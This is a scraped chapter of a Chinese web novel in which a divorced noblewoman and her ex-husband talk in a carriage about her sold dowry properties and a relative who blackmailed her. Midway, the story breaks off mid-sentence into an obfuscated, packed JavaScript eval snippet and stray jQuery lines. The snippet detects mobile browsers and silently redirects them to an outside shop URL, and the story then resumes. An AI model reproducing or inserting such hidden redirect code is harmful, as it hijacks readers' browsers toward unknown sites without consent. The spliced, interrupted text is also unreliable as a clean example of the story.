文趣网 > 都市小说 > 为夫不敢反驳娘子 > 46. 第 46 章
    林时雨坐直身子,看着款款落坐在身侧的沈飞,一时半会间还有些茫然。

    她不知道她这位前夫这是怎么了,怎么会忽然闯进她的马车里。

    “怎么?不过短短几日的功夫,县主就这样对我疏离吗?”

    沈飞望着林时雨头上有些歪的发钗,正要伸手替她扶一扶,却被林时雨侧头避开。

    他收回落空的手,见林时雨一副如临大敌的模样,不由笑道:“我只是想替你重新簪一下发钗,别这么看着我,行吗?”

    林时雨听闻这话后,不动声色地往远处挪了挪位置,又往发髻上摸到那支摇摇欲坠的发钗,稳稳往发髻里一簪,随即摇头道:“这不合规矩。”

    他们是才和离不久的夫妻,无论人前人后,都应该远远避着嫌才好,免得彼此尴尬难做。

    “沈飞,既然我们已经和离,那无论是你擅自闯入我的马车,还是好心替我扶钗环,这些不合适的举动,都会引来非议。我想,你也不愿意再和我有什么瓜葛吧?”

    “凌源县主倒是一如往日的守规矩,懂礼仪,知进退,”沈飞挑眉道,“只可惜,我实在不喜你这样的泥塑菩萨。”

    “……像你这样没心没肺,铁石心肠的人,谁娶了你谁倒霉。我只恨我自己,没有早早认清这一点。”

    他从前总是觉得只要自己愿意放下身段,她就会被自己捂热。哪知道,这些都是他的一厢情愿罢了。

    林时雨缓缓收紧袖子的手,平静道:“既然我这样让沈世子觉得厌恶,那沈世子进我的马车做什么?难道是为了说这一席话,让我有自知之明,以后离你远一点吗?”

    “你——”

    “我说的不对吗?”

    林时雨说着话抬手掀了掀车窗帘子,侧头看着沈飞的人仍守在马车外,又回头望向身侧的男子,“你这样大张旗鼓地拦住我的马车,就是为了要告诉我,我是个泥塑菩萨?”

    “沈飞,别没趣找趣了,”林时雨深吸一口气,紧接着道,“我们已经和离,你就算再不喜我,以后也不必像从前那般时时刻刻面对着我。我也可以答应你,只要有你在的场合,我都不会出现,你看这样可好?”

    好歹也是同床共枕三年的夫妻,就算是她有对不住他的地方,她也乖乖地拿着和离书,离开了镇国公府。

    他何必还要上赶着来寻她麻烦呢?

    一想到就算是他们和离了,沈飞也要这样话里话外得讥讽她,林时雨实在没什么想与他多聊的。

    若是身边一直有这样的人,于她而言,又何尝不是一种折磨?

    既然两看生厌,那就别看了。

    沈飞听闻林时雨说的诛心话,眼底忽露出一丝狠戾的光,随即摇头嗤笑道:“好伶俐的嘴,从前怎的不见你这样伶牙俐齿?”

    他还记得林时雨被刘氏身边的婆子,为难的那次。怎么就分开几日,这人就已经学会了专说些杀人诛心的话?

    林时雨闻言默了默。

    她明白沈飞话里的意思。

    从前的她,是镇国公府的世子夫人。身居侯门公府,又不得夫君照拂,若不压压自己的脾气,只一味图一时之快,只会被婆母和妯娌们磋磨得更厉害。

    许多事情,她不得不为了自己能过得安生些,做出十分的贤良淑德和孝顺恭敬。

    而如今,她名正言顺得离开了沈飞,离开了镇国公府,实在不必像从前那般委屈求全。

    “沈世子多心了!”

    林时雨展颜轻笑:“像咱们这样的关系,自然是能不见面的,就不见面了,免得影响以后各自谈婚论嫁。沈世子虚岁二十有二,就算是与我成婚,蹉跎了三年岁月,但好在及时悬崖勒马,不会耽误沈世子重新迎娶新妇,白头偕老,早生贵子!”

    听林时雨提及他的年纪,沈飞这才蓦然想起自己今日是来做什么的。

    只见他朝袖子里一摸,掏出一叠不薄的盖着朱红印章的纸笺,往林时雨怀里一扔,随即有些得意道:“看看吧!”

    林时雨狐疑得看了一眼神色变幻莫测的沈飞,随即一张张翻看着怀里的纸笺。

    直到她看完手里的最后一张纸笺,沈飞才出声道:“应该都还有印象吧?这可都是你嫁入镇国公府时的陪嫁。虽然我早就知道你暗地里变卖了这些产业,但我还想问一句,你卖这些东西,是不是都是为了凑陈骆勒索你的银子?”

    “陈骆究竟握着你什么把柄,连我也不告诉,就这样心甘情愿得被他敲诈?难道你就没有想过让我替你应付陈骆那个出、生吗?”

    沈飞说到最后,整个人几乎有些失控。他不甘心地凝视着眼前有些出神的林时雨,也不知道在等什么。

    而就在他耐心尽失,正欲起身离开之时,却听到林时雨低低笑了一声。

    随即听她缓缓启唇道:“……沈世子,谢谢你替我将这些产业都赎回了。”

    这些产业,她本来是打算后面再慢慢找回来的。只是没想到会落在沈飞手里,又被他送到了自己的手上。

    “既然你谢我,那你就好好回答一下我的问题。至少,让我明白,你的确是有苦衷的,不是故意要隐瞒我。”

    沈飞看着林时雨眼眶里闪现的水光,继续沉声道:“……我们虽已经和离,但我还是想做个明白鬼,也不枉费我大费周章得将这些铺子和产业,交还到你手里。”

    沈飞说得恳切,倒收敛了方才两人唇枪舌战时咄咄逼人。

    看着手里一分不差铺子和田地庄子的契书,林时雨忽觉得就算告诉沈飞事情原委,也不算什么。

    毕竟要将她卖出去产业再悉数找回来,本就不是什么容易的事。

    林时雨仰着头,竭力将眼里蓄积的热意逼退,才开口道:“我父母双亡时,家中也遭遇大火。等到大火终于扑灭时,我和姑母在废墟里只找到了一只被火烧得半黑的香炉,便再无所获。只是我在燕州徐家做客时,不慎弄丢了香炉。在被姑母接入京城的前一夜,我翻遍了整个院子,都还是徒劳无功。直到我想起……”

    直到她想起在姑母被皇帝正式册封后,陈骆设计企图染指她的那个夜晚,他曾让人将她引诱到花园里。

    而等她被吴倾楼救下回院子时,却发现整个院子都被人翻得乱糟糟的。那只被她供奉在烛台后的香炉,也不翼而飞。

    她怀疑过徐家,可徐家的人并不知道她为什么要供奉那只香炉,实在没必要再惹怒已经为妃的姑母。

    只有陈骆。

    他不仅知道香炉对她有多么

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693611|202673||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    重要,也许还想拿香炉来要挟自己和姑母。这些都是林时雨的猜测,可是事实证明,她的猜测一点也没错。

    听着林时雨蓦然停住的话,沈飞有些不满地皱了皱眉。

    林时雨像是如梦初醒般,继续道:“直到我想起陈骆也在徐家做客,我便开始怀疑他。毕竟除了姑母,整个徐家,也只有他才知道这香炉的来历。”

    “你是说陈骆有动机偷你家的香炉,来要挟你?那他的动机是什么?难道你们不是亲戚吗?”

    林时雨看着眼前刨根问底的沈飞,慢慢松开了袖子下紧握成拳的双手,故作轻松道:“我们是亲戚不假,但这样的亲戚,我和姑母宁愿不要。”

    “我父母双亡后,家中也被烧毁。陈骆的父亲,也就是我的亲舅父,便接了我和姑母去他们府里住着。只是住着一段时间后,姑母却察觉到我亲舅父和舅母,竟打着将我们姑母豢养送人的主意。好在,姑母及时发现,又给与她有……有……的燕州徐家送了信。徐家派人来接我们姑侄,我们姑侄才摆脱了豺狼一样的亲戚。”

    沈飞闻言陈家竟打算将林氏姑侄豢养送人,一时间脸色都变了。他深吸了口气,努力压制着胸口翻涌的杀意,只觉额头两侧的太阳穴,正“突突”跳个不停。

    “燕州徐家?”沈飞咬牙重复道,“是那个身居燕州太守之位的徐家吗?”

    “……是。就是那个徐家。”

    林时雨说完这话,倒像是松了一口气。她扬了扬手里一叠契书,朝沈飞道:“多谢沈世子,待我回府后,就让人将银票送到贵府。沈世子若没别的事,那便就此别过吧。”

    沈飞难得没有为林时雨明着赶人的话而动怒。此时此刻,他只静静坐在一旁,脑海里全是陈家对林氏姑侄的恶行。

    陈骆。

    就他也配斩首之刑?那岂不是也太便宜他了?

    他的胸口起伏不定,像是在克制某种澎湃的激烈情绪。

    “不用,我不缺这点银钱,”沈飞终于起身往外走,“这些本就是你的嫁妆,我今日来,也只不过是物归原主而已。”

    “……林时雨,好自为之。”

    沈飞走了。

    林时雨让车夫继续往布政坊赶着车。

    只是接下来回程的路上,她都捏着手里一叠厚厚的契书发怔。就连马车停在宅邸门口,碧桃开口唤她时,她都没有任何反应。

    直到碧桃忍不住开口又唤了她两声,林时雨这才将契书收在袖子,披上狐裘下了马车。

    刺骨凛冽的风,从面庞上刮过,疼得让人有些忍不住将双手捂在脸上。

    只是这样一来,露在风里的双手,又被冻得不轻。

    林时雨冒着风雪一路行至暖阁里,直到解了披风,接过了碧桐递上来的汤婆子,又喝了半盏炖得香甜可口的桂圆莲子百合羹,整个人才彻底暖和起来。

    而随她出门的碧桃和碧叶,也正捧着一碗桂圆莲子百合羹,站在熏炉前慢慢喝着。

    林时雨坐在烧得暖呼呼的炕上,靠着身后松软的靠枕,脑子里全想的是,晚膳要从厨房传些什么菜来吃。

    她已经过了姑母那一关,更不会因为沈飞贸贸然闯入她的马车,朝她说了些不着边际的话,就寝食不安。